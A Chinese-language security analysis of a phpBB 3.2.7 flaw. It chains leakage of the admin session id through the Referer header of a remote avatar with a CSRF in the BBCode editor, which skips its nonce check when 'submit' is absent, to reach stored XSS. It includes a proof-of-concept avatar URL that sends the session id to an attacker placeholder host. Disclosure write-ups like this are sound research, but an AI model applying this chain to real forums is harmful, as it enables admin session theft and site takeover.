phpBB是一个论坛软件,使用PHP语言开发的并开放其源码。是模块化设计,具专业性、安全性高、支持多国语系、支持多种数据库和自定义的版面设计等优越性能,而且功能强大。
自2000年发布以来, phpBB已经成为世界上应用最广泛的开源论坛软件。
phpBB 3.2.7版以及之前版本中存在一处安全问题:当管理员从phpBB后台控制面板切换到前台时,系统会将session id存放于访问的前台功能的URL中使得攻击者可以窃取这个session id。由于phpBB的安全限制,攻击者不可以直接利用这个sid登录后台,但是可以协同phpBB后台编辑bbcode页面存在的CSRF漏洞,在目标服务器上实现存储型XSS。
首先来看一下phpBB的后台,也就是ACP页面
可以发现所有后台功能的url中都会携带着sid(session id)参数:
http://127.0.0.1/phpbb/phpBB/adm/index.php?sid=9c4869b4054e9ff8d4d588c32ffcf7e7&i=1
如果url中sid值错误,即使已经登录后台也无法正常的访问后台页面
phpbb程序这样做的确有着这样做的优点,但也存在着很严重的安全隐患
优点:
在后台功能url中加入sid,相当于增加了一层安全屏障,降低了后台页面出现CSRF漏洞的几率,为什么这样说呢?假使因为开发疏忽,一个表单提交页面没有利用随机数对用户提交的表单进行保护,这通常会导致CSRF漏洞的产生。但是在phpbb应用中,所有的后台功能url中都加入了sid参数且phpbb对sid参数值合法性进行校验,即使攻击者在后台发现了一处没有随机数保护的表单提交页面,但在不知道管理
员sid值的情况下,也无法构造出一个有效的恶意表单提交页面地址
安全隐患:
这样的操作相当于在url中存放了本来只应该出现在cookie中的session id。如果url中的sid被泄露,攻击者有机会利用这个值伪造管理员身份进行登录后台操作(但不一定可以直接利用,这里涉及到phpBB的一个安全机制,后文会讲到)。
注意看,url中的sid值与cookie中的值完全一样,它们都是此用户的session id值
至于cookie中session值的key :phpbb3_qnsnz_sid
这个值在系统安装完成之后是固定的,无论什么身份的用户访问都是这个值
因此,如果管理员访问的url中sid值被泄露,攻击者可以有机会利用这个值构造cookie以便使用管理员身份登录后台
但是如何获取这个暴露在url中sid值呢?
由于phpbb的设计特色:当管理员使用完后台功能后想要切换到前台,后台页面中提供了一个跳转到前台地址的按钮
当管理员点击这个按钮切换到前台时,url中会带有sid
其实前台页面的访问并不需要在url中使用sid,但从后台切换过来后url中会默认带上这个值。这就导致本应该只在后台功能url中出现的管理员sid泄露到了管理员访问的前台功能url中,而这个存在于url中的sid值很容易在前台页面加载远程资源时在HTTP_REFERER中被泄露
例如:在一些phpbb站点中可能会开启远程头像选项
这个功能并不是默认开启的,当此功能开启后,用户可以设置远程头像
程序会在使用这个远程头像的时候将其加载进来
如果管理员此时访问的页面在渲染时加载了攻击者的远程头像,且此时管理员访问的url中带有sid,sid将会被泄露
我们是否可以构造一个恶意的远程图片链接poc,用以接收管理员的sid呢?
首先看一下phpBB在后台程序如何校验远程图片链接,phpBB使用getImageSize对用户添加的远程图片链接进行校验
因此我们可以构造如下poc
poc.php除了需要记录加载该图片请求中的HTTP_REFERER,同时需要将图片进行返回展示
构造远程图片链接
http://x.x.x.x/poc.php?avatar.png
攻击者的头像加载成功
但是如何使得管理员加载这个头像资源呢?
只要给管理员留言,或者评论管理员发布的文章即可
以评论文章为例:当针对管理员发布的文章发表一条评论之后,管理员在前端页面即可收到一个消息提示
点看之后可以看到被加载的头像
但无论管理员点开与否,在phpbb首页加载时,都会远程加载这个资源,HTTP_REFERER都会被发送到攻击者的服务器上
到此为止,攻击者可以顺利获得sid值。但为什么上文说获取了sid值也不一定可以盗用管理员身份登录系统呢?
在phpBB中有如下的安全策略
Session IP validation选项用来验证当前用户会话绑定的IP;All选项代表匹配完整地址,A.B.C选项匹配前面的x.x.x段,A.B选项匹配x.x,None选项关闭IP检查。
这项安全策略是用来检验用户sid与IP的绑定关系,系统默认采用A.B.C选项,因此攻击者在获取了管理员sid后,想要冒用身份也是很困难的。
然而这也不是无解的:
phpBB后台管理中包含着编辑BBCode的功能。
BBCode是Bulletin Board Code的缩写,也有译为「BB代码」的,属于轻量标记语言(Lightweight Markup Language)的一种,如字面上所显示的,它主要是使用在BBS、论坛、Blog等网络应用上。BBcode的语法通常为 [标记] 这种形式,即语法左右用两个中括号包围,以作为与正常文字间的区别。系统解译时遇上中括号便知道该处是BBcode,会在解译结果输出到用户端时转换成最为通用的HTML语法。
当然,作为后台管理功能,访问此处url也需要sid
由于上文的利用,攻击者可以获取sid,因此这里可以确定管理员此处后台功能的确切url
在此页面上,管理员可以添加,删除和编辑自定义BBCode。假如定义了这样的BBCode
用户可以在PM、话题或者帖子中使用这个BBCode
结果如下
然而phpBB中编辑BBCode的功能存在CSRF问题,首先看一下编辑BBCode功能的后台代码
可以看到,这里的确有对csrf进行防范
但是问题出在了前面的\$submit参数:
只有提交的POST请求中存在submit参数,系统才会检查CSRF nonce。反之不会
因此,只要构造csrf时,请求中不带submit参数即可
\$action、\$bbcode_id、\$bbcode_match与\$bbcode_tpl参数均有\$request->variable方式获取而来
variable方法不仅会获取POST中提交的变量,也会获取通过GET提交的变量,这意味着攻击者可以通过GET参数传参来进行CSRF攻击。
当csrf攻击成功后,恶意的bbcode将会被添加。之后攻击者可以滥用这个bbcode短代码,在消息、话题、帖子、回复中执行任意XSS代码。